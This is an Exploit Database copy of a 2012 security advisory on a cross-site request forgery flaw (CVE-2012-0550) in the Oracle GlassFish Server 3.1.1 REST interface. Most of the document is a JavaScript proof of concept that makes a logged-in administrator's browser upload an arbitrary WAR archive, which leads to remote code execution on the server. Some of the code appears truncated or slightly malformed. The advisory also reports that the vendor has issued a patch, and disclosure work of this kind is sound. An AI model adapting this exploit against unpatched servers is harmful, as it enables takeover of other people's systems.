Oracle GlassFish Server – REST Cross-Site Request Forgery

Exploit Database
101 阅读

作者： Roberto Suggi Liverani

日期： 2012-04-22
类别：
- webapps
平台：
- windows
来源：https://www.exploit-db.com/exploits/18766/

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Details

Vendor Site: Oracle (www.oracle.com)

Date: April, 19th 2012 – CVE 2012-0550

Affected Software: Oracle GlassFish Server 3.1.1 (build 12)

Researcher: Roberto Suggi Liverani

PDF version: http://www.security-assessment.com/files/documents/advisory/Oracle_GlassFish_Server_REST_CSRF.pdf

Description

Security-Assessment.com has discovered that the Oracle GlassFish Server REST interface is vulnerable to Cross

Site Request Forgery(CSRF) attacks. Although the javax.faces.ViewState is employed in the standard web administrative interface and it prevents such attacks, the REST interface remains vulnerable, as shown in the Proof-of-Concept (PoC) below.

Exploitation

Cross Site Request Forgery attacks can target different functionality within an application. In this case, as an example, it is possible to force an authenticated administrator user into uploading an arbitrary WAR archive, which can be used to gain remote code execution on the server running the Oracle GlassFish Server application.

The Proof-of-Concept (PoC) below has been successfully tested with Firefox 8.0.1 and Chrome 15.0.874.121 with Basic Authentication enabled.

Arbitrary WAR Archive File Upload – CSRF PoC

<h1>Oracle GlassFish Server 3.1.1 (build 12) - CSRF arbitrary file upload</h1>by Roberto Suggi Liverani - Security-Assessment.com

This is a Proof-of-Concept - the start() function can be invoked automatically.

The CSRF upload technique used in this case is a slight variation of the technique demonstrated here:

http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html

Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html

<button id="upload" onclick="start()" type="button">Upload WAR Archive</button>

var logUrl = 'http://glassfishserver/management/domain/applications/application';

function fileUpload(fileData, fileName) {

var fileSize = fileData.length,

boundary = "---------------------------270883142628617",

uri = logUrl,

xhr = new XMLHttpRequest();

var additionalFields = {

asyncreplication: "true",

availabilityenabled: "false",

contextroot: "",

createtables: "true",

dbvendorname: "",

deploymentplan: "",

description: "",

dropandcreatetables: "true",

enabled: "true",

force: "false",

generatermistubs: "false",

isredeploy: "false",

keepfailedstubs: "false",

keepreposdir: "false",

keepstate: "true",

lbenabled: "true",

libraries: "",

logReportedErrors: "true",

name: "",

precompilejsp: "false",

properties: "",

property: "",

retrieve: "",

target: "",

type: "",

uniquetablenames: "true",

verify: "false",

virtualservers: "",

__remove_empty_entries__: "true"

}

if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4

var tmp = '';

for (var i = 0; i < fileData.length; i++) tmp +=

String.fromCharCode(fileData.charCodeAt(i) & 0xff);

fileData = tmp;

}

else { // Chrome 9

// http://javascript0.org/wiki/Portable_sendAsBinary

XMLHttpRequest.prototype.sendAsBinary = function(text){

var data = new ArrayBuffer(text.length);

var ui8a = new Uint8Array(data, 0);

for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);

var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();

bb.append(data);

var blob = bb.getBlob();

this.send(blob);

}

var fileFieldName = "id";

xhr.open("POST", uri, true);

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a

file MIME POST request.

xhr.setRequestHeader("Content-Length", fileSize);

xhr.withCredentials = "true";

xhr.onreadystatechange = function() {

if (xhr.readyState == 4) {

if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {

if (xhr.responseText != "") {

alert(JSON.parse(xhr.responseText).msg);

}

} else if (xhr.status == 0) {

}

var body = "";

for (var i in additionalFields) {

if (additionalFields.hasOwnProperty(i)) {

body += addField(i, additionalFields[i], boundary);

}

body += addFileField(fileFieldName, fileData, fileName, boundary);

body += "--" + boundary + "--";

xhr.sendAsBinary(body);

return true;

}

function addField(name, value, boundary) {

var c = "--" + boundary + "\r\n"

c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n';

c += value + "\r\n";

return c;

}

function addFileField(name, value, filename, boundary) {

var c = "--" + boundary + "\r\n"

c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n';

c += "Content-Type: application/octet-stream\r\n\r\n";

c += value + "\r\n";

return c;

}

function getBinary(file){

var xhr = new XMLHttpRequest();

xhr.open("GET", file, false);

xhr.overrideMimeType("text/plain; charset=x-user-defined");

xhr.send(null);

return xhr.responseText;

}

function readBinary(data) {

var tmp = '';

for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) &

0xff);

data = tmp;

return tmp;

}

function start() {

var c = getBinary('maliciousarchive.war');

fileUpload(c, "maliciousarchive.war");

}

</script>

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - April 2012.

Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html